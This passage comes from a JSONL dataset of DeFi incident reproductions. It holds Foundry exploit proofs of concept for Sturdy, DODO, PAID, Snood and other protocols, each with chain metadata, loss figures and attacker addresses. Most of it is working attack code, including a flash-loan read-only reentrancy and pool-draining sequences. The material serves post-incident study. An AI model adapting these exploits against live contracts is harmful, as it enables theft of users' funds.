{\n IPancakeRouterV3.ExactInputSingleParams memory params = IPancakeRouterV3.ExactInputSingleParams({\n tokenIn: address(token1),\n tokenOut: address(token2),\n fee: 100,\n recipient: address(this),\n amountIn: amount,\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n Router.exactInputSingle(params);\n }\n}\n", "type": "exploit_poc", "protocol": "ARA", "date": "2023-06", "file_name": "ARA_exp.sol", "attack_vector": "flash_loan", "content_hash": "325dc8952f3e0fd0", "collected_at": "2026-01-07T10:59:16.512947", "_source": "postmortems", "chain": "bsc", "block_number": 29214010, "total_lost_raw": "~125K USD$", "total_lost_usd": 125000.0, "attacker_address": "https://bscscan.com/address/0xf84efa8a9f7e68855cf17eaac9c2f97a9d131366", "attack_contract": "https://bscscan.com/address/0x98e241bd3be918e0d927af81b430be00d86b04f9", "vulnerable_contract": "https://bscscan.com/address/0x7ba5dd9bb357afa2231446198c75bac17cefcda9", "attack_tx": "https://bscscan.com/tx/0xd87cdecd5320301bf9a985cc17f6944e7e7c1fbb471c80076ef2d031cc3023b2", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~125K USD$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n BUSDT.approve(address(Router), type(uint256).max);\n ARA.approve(address(Router), type(uint256).max);\n\n emit log_named_decimal_uint(\n \"Attacker BUSDT balance before hack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n // Step 1. Flashloan 1,202,701 USDT\n DPPOracle.flashLoan(0, 1_202_701 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker BUSDT balance after hack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~125K USD$", "keyinfo_attacker": "https://bscscan.com/address/0xf84efa8a9f7e68855cf17eaac9c2f97a9d131366", "keyinfo_attack_contract": "https://bscscan.com/address/0x98e241bd3be918e0d927af81b430be00d86b04f9", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x7ba5dd9bb357afa2231446198c75bac17cefcda9", "keyinfo_attack_tx": "https://bscscan.com/tx/0xd87cdecd5320301bf9a985cc17f6944e7e7c1fbb471c80076ef2d031cc3023b2", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$125.0K", "content_richness_score": 9.31, "quality_estimate": "high", "title": "ARA Exploit (2023-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~800K USD$\n// Attacker : https://etherscan.io/address/0x1e8419e724d51e87f78e222d935fbbdeb631a08b\n// Attack Contract : https://etherscan.io/address/0x0b09c86260c12294e3b967f0d523b4b2bcdfbeab\n// Vulnerable Contract : https://etherscan.io/address/0x9f72dc67cec672bb99e3d02cbea0a21536a2b657\n// Attack Tx : https://etherscan.io/tx/0xeb87ebc0a18aca7d2a9ffcabf61aa69c9e8d3c6efade9e2303f8857717fb9eb7\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x46bea99d977f269399fb3a4637077bb35f075516#code\n\n// @Analysis\n// Post-mortem : https://sturdyfinance.medium.com/exploit-post-mortem-49261493307a\n// Twitter Guy : https://twitter.com/AnciliaInc/status/1668081008615325698\n// Twitter Guy : https://twitter.com/BlockSecTeam/status/1668084629654638592\n\ninterface IwstETH is IERC20 {\n function unwrap(\n uint256 _wstETHAmount\n ) external returns (uint256);\n}\n\ninterface IMetaStablePool is IERC20 {\n function getPoolId() external view returns (bytes32);\n}\n\ninterface LendingPool {\n function borrow(\n address asset,\n uint256 amount,\n uint256 interestRateMode,\n uint16 referralCode,\n address onBehalfOf\n ) external;\n\n function getUserAccountData(\n address user\n )\n external\n view\n returns (\n uint256 totalCollateralETH,\n uint256 totalDebtETH,\n uint256 availableBorrowsETH,\n uint256 currentLiquidationThreshold,\n uint256 ltv,\n uint256 healthFactor\n );\n\n function liquidationCall(\n address collateralAsset,\n address debtAsset,\n address user,\n uint256 debtToCover,\n bool receiveAToken\n ) external;\n\n function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external;\n}\n\ninterface ILPVault {\n function depositCollateralFrom(address _asset, uint256 _amount, address _user) external payable;\n\n function withdrawCollateral(address _asset, uint256 _amount, uint256 _slippage, address _to) external;\n}\n\ninterface IBalancerQueries {\n function queryJoin(\n bytes32 poolId,\n address sender,\n address recipient,\n IBalancerVault.JoinPoolRequest memory request\n ) external returns (uint256 bptOut, uint256[] memory amountsIn);\n\n function queryExit(\n bytes32 poolId,\n address sender,\n address recipient,\n IBalancerVault.ExitPoolRequest memory request\n ) external returns (uint256 bptIn, uint256[] memory amountsOut);\n}\n\ninterface ISturdyOracle {\n function getAssetPrice(\n address asset\n ) external view returns (uint256);\n}\n\ncontract ContractTest is Test {\n WETH9 WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IwstETH wstETH = IwstETH(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);\n IERC20 steCRV = IERC20(0x06325440D014e39736583c165C2963BA99fAf14E);\n IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);\n IMetaStablePool B_STETH_STABLE = IMetaStablePool(0x32296969Ef14EB0c6d29669C550D4a0449130230);\n ICurvePool LidoCurvePool = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022);\n LendingPool lendingPool = LendingPool(0x9f72DC67ceC672bB99e3d02CbEA0a21536a2b657);\n ILPVault AuraBalancerLPVault = ILPVault(0x6AE5Fd07c0Bb2264B1F60b33F65920A2b912151C);\n ILPVault ConvexCurveLPVault2 = ILPVault(0xa36BE47700C079BD94adC09f35B0FA93A55297bc);\n IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IAaveFlashloan aaveV3 = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);\n IBalancerQueries BalancerQueries = IBalancerQueries(0xE39B5e3B6D74016b2F6A9673D7d7493B6DF549d5);\n ISturdyOracle SturdyOracle = ISturdyOracle(0xe5d78eB340627B8D5bcFf63590Ebec1EF9118C89);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 17_460_609);\n vm.label(address(wstETH), \"wstETH\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(steCRV), \"steCRV\");\n vm.label(address(stETH), \"stETH\");\n vm.label(address(B_STETH_STABLE), \"B_STETH_STABLE\");\n vm.label(address(LidoCurvePool), \"LidoCurvePool\");\n vm.label(address(lendingPool), \"lendingPool\");\n vm.label(address(AuraBalancerLPVault), \"AuraBalancerLPVault\");\n vm.label(address(ConvexCurveLPVault2), \"ConvexCurveLPVault2\");\n vm.label(address(Balancer), \"Balancer\");\n vm.label(address(aaveV3), \"aaveV3\");\n vm.label(address(BalancerQueries), \"BalancerQueries\");\n vm.label(address(SturdyOracle), \"SturdyOracle\");\n }\n\n function testExploit() public {\n deal(address(this), 0);\n address[] memory assets = new address[](2);\n assets[0] = address(wstETH);\n assets[1] = address(WETH);\n uint256[] memory amounts = new uint256[](2);\n amounts[0] = 50_000 * 1e18;\n amounts[1] = 60_000 * 1e18;\n uint256[] memory modes = new uint256[](2);\n modes[0] = 0;\n modes[1] = 0;\n console.log(\"1. Borrow 50,000 wstETH and 60,000 WETH from Aave as a flashloan.\");\n aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0); // Borrow 50,000 wstETH and 60,000 WETH from Aave as a flashloan.\n\n emit log_named_decimal_uint(\n \"Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n WETH.withdraw(1100 ether);\n uint256[2] memory amount;\n amount[0] = 1100 ether;\n amount[1] = 0;\n console.log(\"2. Add 1,100 ETH to steCRV pool to mint 1,023 steCRV.\");\n LidoCurvePool.add_liquidity{value: 1100 ether}(amount, 1000 ether); // Add 1,100 ETH to steCRV pool to mint 1,023 steCRV.\n\n for (uint256 i; i < 1; i++) {\n Exploiter exploiter = new Exploiter();\n vm.label(address(exploiter), \"exploiter\");\n WETH.transfer(address(exploiter), WETH.balanceOf(address(this)));\n wstETH.transfer(address(exploiter), wstETH.balanceOf(address(this)));\n steCRV.transfer(address(exploiter), steCRV.balanceOf(address(this)));\n exploiter.yoink();\n }\n\n LidoCurvePool.remove_liquidity_one_coin(steCRV.balanceOf(address(this)), 0, 1000 * 1e18); // burn steCRV, get WETH\n wstETH.unwrap(wstETH.balanceOf(address(this)) - amounts[0] - premiums[0]); // burn redundant wstETH, get WETH\n stETH.approve(address(LidoCurvePool), stETH.balanceOf(address(this)));\n LidoCurvePool.exchange(1, 0, stETH.balanceOf(address(this)), 1); // swap stETH to ETH\n WETH.deposit{value: address(this).balance}();\n\n IERC20(assets[0]).approve(address(aaveV3), amounts[0] + premiums[0]);\n IERC20(assets[1]).approve(address(aaveV3), amounts[1] + premiums[1]);\n\n return true;\n }\n\n receive() external payable {}\n}\n\ncontract Exploiter is Test {\n address owner;\n uint256 nonce;\n WETH9 WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IwstETH wstETH = IwstETH(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);\n IERC20 steCRV = IERC20(0x06325440D014e39736583c165C2963BA99fAf14E);\n IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);\n IMetaStablePool B_STETH_STABLE = IMetaStablePool(0x32296969Ef14EB0c6d29669C550D4a0449130230);\n ICurvePool LidoCurvePool = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022);\n LendingPool lendingPool = LendingPool(0x9f72DC67ceC672bB99e3d02CbEA0a21536a2b657);\n ILPVault AuraBalancerLPVault = ILPVault(0x6AE5Fd07c0Bb2264B1F60b33F65920A2b912151C);\n ILPVault ConvexCurveLPVault2 = ILPVault(0xa36BE47700C079BD94adC09f35B0FA93A55297bc);\n IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IBalancerQueries BalancerQueries = IBalancerQueries(0xE39B5e3B6D74016b2F6A9673D7d7493B6DF549d5);\n ISturdyOracle SturdyOracle = ISturdyOracle(0xe5d78eB340627B8D5bcFf63590Ebec1EF9118C89);\n address cB_stETH_STABLE = 0x10aA9eea35A3102Cc47d4d93Bc0BA9aE45557746;\n address csteCRV = 0x901247D08BEbFD449526Da92941B35D756873Bcd;\n\n constructor() {\n owner = msg.sender;\n }\n\n function yoink() external {\n joinBalancerPool();\n depositCollateralAndBorrow();\n exitBalancerPool();\n withdrawCollateralAndLiquidation();\n removeBalancerPoolLiquidity();\n WETH.deposit{value: address(this).balance}();\n wstETH.transfer(owner, wstETH.balanceOf(address(this)));\n WETH.transfer(owner, WETH.balanceOf(address(this)));\n steCRV.transfer(owner, steCRV.balanceOf(address(this)));\n }\n\n function setJoinData(\n uint256 amt\n ) internal view returns (IBalancerVault.JoinPoolRequest memory request) {\n uint256[] memory amountIn = new uint256[](2);\n amountIn[0] = 50_000 * 1e18;\n amountIn[1] = 57_000 * 1e18;\n bytes memory data = abi.encode(uint256(1), amountIn, amt);\n request = IBalancerVault.JoinPoolRequest({\n asset: new address[](2),\n maxAmountsIn: amountIn,\n userData: data,\n fromInternalBalance: false\n });\n request.asset[0] = address(wstETH);\n request.asset[1] = address(WETH);\n return request;\n }\n\n function joinBalancerPool() internal {\n bytes32 poolId = B_STETH_STABLE.getPoolId();\n IBalancerVault.JoinPoolRequest memory request = setJoinData(0);\n (uint256 bptOut,) = BalancerQueries.queryJoin(poolId, address(this), address(this), request);\n wstETH.approve(address(Balancer), 50_000 * 1e18);\n WETH.approve(address(Balancer), 57_000 * 1e18);\n request = setJoinData(bptOut);\n console.log(\n \"3. Add 50,000 wstETH and 57,000 WETH to the Balancer B-stETH-STABLE pool to mint 109,517 B-stETH-STABLE\"\n );\n Balancer.joinPool(poolId, address(this), address(this), request); // Add 50,000 wstETH and 57,000 WETH to the Balancer B-stETH-STABLE pool to mint 109,517 B-stETH-STABLE\n }\n\n function depositCollateralAndBorrow() internal {\n console.log(\"4. Deposit 1,000 steCRV and 233 B-stETH-STABLE as collateral into Sturdy.\");\n steCRV.approve(address(ConvexCurveLPVault2), 1000 * 1e18);\n ConvexCurveLPVault2.depositCollateralFrom(address(steCRV), 1000 * 1e18, address(this));\n B_STETH_STABLE.approve(address(AuraBalancerLPVault), 233_348_773_557_117_598_739);\n AuraBalancerLPVault.depositCollateralFrom(address(B_STETH_STABLE), 233_348_773_557_117_598_739, address(this)); // Deposit 1,000 steCRV and 233 B-stETH-STABLE as collateral into Sturdy.\n\n console.log(\"5. Borrow 513 WETH from Sturdy.\");\n lendingPool.borrow(address(WETH), 513_367_301_825_658_717_226, 2, 0, address(this)); // Borrow 513 WETH from Sturdy.\n }\n\n function setExitData(\n uint256 amt\n ) internal view returns (IBalancerVault.ExitPoolRequest memory request) {\n uint256[] memory amountOut = new uint256[](2);\n amountOut[0] = 0;\n amountOut[1] = 0;\n bytes memory data = abi.encode(uint256(1), amt);\n request = IBalancerVault.ExitPoolRequest({\n asset: new address[](2),\n minAmountsOut: amountOut,\n userData: data,\n toInternalBalance: false\n });\n request.asset[0] = address(wstETH);\n request.asset[1] = address(0);\n return request;\n }\n\n function exitBalancerPool() internal {\n bytes32 poolId = B_STETH_STABLE.getPoolId();\n uint256 amt = B_STETH_STABLE.balanceOf(address(this));\n IBalancerVault.ExitPoolRequest memory request = setExitData(amt);\n BalancerQueries.queryExit(poolId, address(this), address(this), request);\n console.log(\n \"6. Remove 109,284 B-stETH-STABLE from the Balancer B-stETH-STABLE pool to receive wstETH and WETH. \\n\"\n );\n B_STETH_STABLE.approve(address(Balancer), B_STETH_STABLE.balanceOf(address(this)));\n\n emit log_named_decimal_uint(\n \"Before Read-Only-Reentrancy Collateral Price \\t\",\n SturdyOracle.getAssetPrice(cB_stETH_STABLE),\n B_STETH_STABLE.decimals()\n );\n Balancer.exitPool(poolId, address(this), payable(address(this)), request);\n }\n\n receive() external payable {\n nonce++;\n if (nonce == 1) {\n // Manipulate the price of B-stETH-STABLE and set steCRV as non-collateral during the manipulation. As the price of\n // B-stETH-STABLE increases threefold, the protocol considers the attacker's 233 collateralized B-stETH-STABLE enough\n // to cover the 513 WETH debt. Consequently, the attacker's steCRV is allowed to be no longer used as collateral.\n emit log_named_decimal_uint(\n \"In Read-Only-Reentrancy Collateral Price \\t\",\n SturdyOracle.getAssetPrice(cB_stETH_STABLE),\n B_STETH_STABLE.decimals()\n );\n console.log(\"7. set steCRV as non-collateral during the manipulation.\");\n lendingPool.setUserUseReserveAsCollateral(address(csteCRV), false);\n }\n }\n\n function withdrawCollateralAndLiquidation() internal {\n emit log_named_decimal_uint(\n \"After Read-Only-Reentrancy Collateral Price \\t\",\n SturdyOracle.getAssetPrice(cB_stETH_STABLE),\n B_STETH_STABLE.decimals()\n );\n console.log(\"\");\n console.log(\"8. Withdraw 1,000 steCRV from Sturdy.\");\n ConvexCurveLPVault2.withdrawCollateral(address(steCRV), 1000 * 1e18, 10, address(this)); // Withdraw 1,000 steCRV from Sturdy.\n (, uint256 totalDebt,,,,) = lendingPool.getUserAccountData(address(this));\n console.log(\"9. attacker liquidates their position to reclaim collateral with 236 WETH\");\n // As the price of B-stETH-STABLE returns to normal, the attacker liquidates their position with 236 WETH to reclaim\n // 233 B-stETH-STABLE (worth approximately 106 wstETH + 120 WETH).\n WETH.approve(address(lendingPool), totalDebt);\n lendingPool.liquidationCall(address(B_STETH_STABLE), address(WETH), address(this), totalDebt, false);\n }\n\n function removeBalancerPoolLiquidity() internal {\n bytes32 poolId = B_STETH_STABLE.getPoolId();\n uint256 amt = B_STETH_STABLE.balanceOf(address(this));\n IBalancerVault.ExitPoolRequest memory request = setExitData(amt);\n BalancerQueries.queryExit(poolId, address(this), address(this), request);\n B_STETH_STABLE.approve(address(Balancer), B_STETH_STABLE.balanceOf(address(this)));\n console.log(\n \"10. Remove 233 B-stETH-STABLE from the Balancer B-stETH-STABLE pool to receive 106 wstETH and 120 WETH. \\n\"\n );\n Balancer.exitPool(poolId, address(this), payable(address(this)), request);\n }\n}\n", "type": "exploit_poc", "protocol": "Sturdy", "date": "2023-06", "file_name": "Sturdy_exp.sol", "attack_vector": "flash_loan", "content_hash": "f14e57c68f3693f7", "collected_at": "2026-01-07T10:59:16.513006", "_source": "postmortems", "chain": "ethereum", "block_number": 17460609, "total_lost_raw": "~800K USD$", "total_lost_usd": 800000.0, "attacker_address": "https://etherscan.io/address/0x1e8419e724d51e87f78e222d935fbbdeb631a08b", "attack_contract": "https://etherscan.io/address/0x0b09c86260c12294e3b967f0d523b4b2bcdfbeab", "vulnerable_contract": "https://etherscan.io/address/0x9f72dc67cec672bb99e3d02cbea0a21536a2b657", "attack_tx": "https://etherscan.io/tx/0xeb87ebc0a18aca7d2a9ffcabf61aa69c9e8d3c6efade9e2303f8857717fb9eb7", "postmortem_url": "https://sturdyfinance.medium.com/exploit-post-mortem-49261493307a", "twitter_url": "https://twitter.com/AnciliaInc/status/1668081008615325698", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~800K USD$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(this), 0);\n address[] memory assets = new address[](2);\n assets[0] = address(wstETH);\n assets[1] = address(WETH);\n uint256[] memory amounts = new uint256[](2);\n amounts[0] = 50_000 * 1e18;\n amounts[1] = 60_000 * 1e18;\n uint256[] memory modes = new uint256[](2);\n modes[0] = 0;\n modes[1] = 0;\n console.log(\"1. Borrow 50,000 wstETH and 60,000 WETH from Aave as a flashloan.\");\n aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0); // Borrow 50,000 wstETH and 60,000 WETH from Aave as a flashloan.\n\n emit log_named_decimal_uint(\n \"Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~800K USD$", "keyinfo_attacker": "https://etherscan.io/address/0x1e8419e724d51e87f78e222d935fbbdeb631a08b", "keyinfo_attack_contract": "https://etherscan.io/address/0x0b09c86260c12294e3b967f0d523b4b2bcdfbeab", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x9f72dc67cec672bb99e3d02cbea0a21536a2b657", "keyinfo_attack_tx": "https://etherscan.io/tx/0xeb87ebc0a18aca7d2a9ffcabf61aa69c9e8d3c6efade9e2303f8857717fb9eb7", "analysis_postmortem": "https://sturdyfinance.medium.com/exploit-post-mortem-49261493307a", "analysis_twitter": "https://twitter.com/AnciliaInc/status/1668081008615325698", "funds_lost_formatted": "$800.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "Sturdy Exploit (2023-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n uint256 wCRES_amount = 130_000_000_000_000_000_000_000;\n\n uint256 usdt_amount = 1_100_000_000_000;\n\n IERC20 wCRES_token = IERC20(0xa0afAA285Ce85974c3C881256cB7F225e3A1178a);\n\n USDT usdt_token = USDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n address maintainer = 0x95C4F5b83aA70810D4f142d58e5F7242Bd891CB0;\n DVM dvm = DVM(0x051EBD717311350f1684f89335bed4ABd083a2b6);\n address mtFeeRateModel = 0x5e84190a270333aCe5B9202a3F4ceBf11b81bB01;\n uint256 lpFeeRate = 3_000_000_000_000_000;\n address mywallet = msg.sender;\n uint256 i = 1;\n uint256 k = 1_000_000_000_000_000_000;\n bool isOpenTWAP = false;\n address token1 = 0x7f4E7fB900E0EC043718d05caEe549805CaB22C8;\n address token2 = 0xf2dF8794f8F99f1Ba4D8aDc468EbfF2e47Cd7010;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 12_000_000); // fork mainnet block number 12000000\n }\n\n function testExploit() public {\n address me = address(this);\n dvm.flashLoan(wCRES_amount, usdt_amount, me, \"whatever\");\n\n //emit log_named_uint(\"Exploit completed, WBNB Balance\",wbnb.balanceOf(mywallet));\n }\n\n function DVMFlashLoanCall(address a, uint256 b, uint256 c, bytes memory d) public {\n emit log_named_uint(\"FlashLoan WBNB Balance\", wCRES_token.balanceOf(address(this)));\n dvm.init(maintainer, token1, token2, lpFeeRate, mtFeeRateModel, i, k, isOpenTWAP);\n wCRES_token.transfer(mywallet, wCRES_token.balanceOf(address(this)));\n usdt_token.transfer(mywallet, usdt_token.balanceOf(address(this)));\n\n emit log_named_uint(\"After Exploit completed, wCRES Balance\", wCRES_token.balanceOf(mywallet));\n usdt_token.transfer(mywallet, usdt_token.balanceOf(address(this)));\n emit log_named_uint(\"After Exploit completed, USDT Balance\", usdt_token.balanceOf(mywallet));\n }\n}\n", "type": "exploit_poc", "protocol": "dodo_flashloan", "date": "2021-03", "file_name": "dodo_flashloan_exp.sol", "attack_vector": "flash_loan", "content_hash": "124bf22a388fb6d4", "collected_at": "2026-01-07T10:59:16.513096", "_source": "postmortems", "chain": "unknown", "block_number": 12000000, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n address me = address(this);\n dvm.flashLoan(wCRES_amount, usdt_amount, me, \"whatever\");\n\n //emit log_named_uint(\"Exploit completed, WBNB Balance\",wbnb.balanceOf(mywallet));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.09, "quality_estimate": "low", "title": "dodo_flashloan Exploit (2021-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://paidnetwork.medium.com/paid-network-attack-postmortem-march-7-2021-9e4c0fef0e07\n// Root cause: key compromised or rugged\n\n// @TX\n// https://etherscan.io/tx/0x4bb10927ea7afc2336033574b74ebd6f73ef35ac0db1bb96229627c9d77555a0\n\ninterface IPaid {\n function mint(address _owner, uint256 _amount) external;\n function balanceOf(\n address account\n ) external view returns (uint256);\n}\n\ncontract ContractTest is Test {\n // FakeToken FakeTokenContract;\n IPaid PAID = IPaid(0x8c8687fC965593DFb2F0b4EAeFD55E9D8df348df);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 11_979_839); // Fork mainnet at block 11979839\n }\n\n function testExploit() public {\n cheats.prank(0x18738290AF1Aaf96f0AcfA945C9C31aB21cd65bE);\n PAID.mint(address(this), 59_471_745_571_000_000_000_000_000); //key compromised or rugged\n emit log_named_decimal_uint(\"[End] PAID balance after exploitation:\", PAID.balanceOf(address(this)), 18);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "PAID", "date": "2021-03", "file_name": "PAID_exp.sol", "attack_vector": null, "content_hash": "1835d33ab25a2a84", "collected_at": "2026-01-07T10:59:16.513136", "_source": "postmortems", "chain": "ethereum", "block_number": 11979839, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n cheats.prank(0x18738290AF1Aaf96f0AcfA945C9C31aB21cd65bE);\n PAID.mint(address(this), 59_471_745_571_000_000_000_000_000); //key compromised or rugged\n emit log_named_decimal_uint(\"[End] PAID balance after exploitation:\", PAID.balanceOf(address(this)), 18);\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.62, "quality_estimate": "low", "title": "PAID Exploit (2021-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IUNIPAIR is IERC20 {\n function sync() external;\n\n function getReserves() external returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;\n}\n\ncontract ContractTest is Test {\n IERC20 SNOOD = IERC20(0xD45740aB9ec920bEdBD9BAb2E863519E59731941);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n\n IUNIPAIR uniLP = IUNIPAIR(0x0F6b0960d2569f505126341085ED7f0342b67DAe);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 14_983_660); //fork mainnet at block 14983660\n }\n\n function testExploit() public {\n // address attacker = vm.addr(1);\n address attacker = 0x180ea08644b123D8A3f0ECcf2a3b45A582075538;\n emit log(\"before the attack\");\n emit log_uint(WETH.balanceOf(attacker));\n assertTrue(WETH.balanceOf(attacker) == 0);\n\n uint256 balance = SNOOD.balanceOf(address(uniLP));\n require(SNOOD.transferFrom(address(uniLP), address(this), balance - 1));\n uniLP.sync();\n\n require(SNOOD.transfer(address(uniLP), balance - 1));\n\n (uint112 a, uint112 b,) = uniLP.getReserves();\n\n uint256 amount0Out;\n if (b * 10_000 + (balance - 1) * 9970 == 0) {\n amount0Out = 0;\n } else {\n amount0Out = ((balance - 1) * 9970 * a) / (b * 10_000 + (balance - 1) * 9970);\n }\n\n uniLP.swap(amount0Out, 0, attacker, \"\");\n\n emit log(\"WETH after the attack\");\n emit log_uint(WETH.balanceOf(attacker));\n\n assertTrue(WETH.balanceOf(attacker) > 0);\n }\n}\n", "type": "exploit_poc", "protocol": "Snood", "date": "2022-06", "file_name": "Snood_exp.sol", "attack_vector": null, "content_hash": "d70a075ab1e676ac", "collected_at": "2026-01-07T10:59:16.513178", "_source": "postmortems", "chain": "unknown", "block_number": 14983660, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n // address attacker = vm.addr(1);\n address attacker = 0x180ea08644b123D8A3f0ECcf2a3b45A582075538;\n emit log(\"before the attack\");\n emit log_uint(WETH.balanceOf(attacker));\n assertTrue(WETH.balanceOf(attacker) == 0);\n\n uint256 balance = SNOOD.balanceOf(address(uniLP));\n require(SNOOD.transferFrom(address(uniLP), address(this), balance - 1));\n uniLP.sync();\n\n require(SNOOD.transfer(address(uniLP), balance - 1));\n\n (uint112 a, uint112 b,) = uniLP.getReserves();\n\n uint256 amount0Out;\n if (b * 10_000 + (balance - 1) * 9970 == 0) {\n amount0Out = 0;\n } else {\n amount0Out = ((balance - 1) * 9970 * a) / (b * 10_000 + (balance - 1) * 9970);\n }\n\n uniLP.swap(amount0Out, 0, attacker, \"\");\n\n emit log(\"WETH after the attack\");\n emit log_uint(WETH.balanceOf(attacker));\n\n assertTrue(WETH.balanceOf(attacker) > 0);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.93, "quality_estimate": "low", "title": "Snood Exploit (2022-06)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo\n// Total Lost : 3087 ETH (~3,870,000 US$)\n// Attacker Wallet : 0xb7cbb4d43f1e08327a90b32a8417688c9d0b800a\n// Main Attack Contract : 0xf70f691d30ce23786cfb3a1522cfd76d159aca8d\n// Vulnerable Contract XNFT.sol : https://etherscan.io/address/0x39360ac1239a0b98cb8076d4135d0f72b7fd9909#code\n\n// @Info\n// XToken.sol : 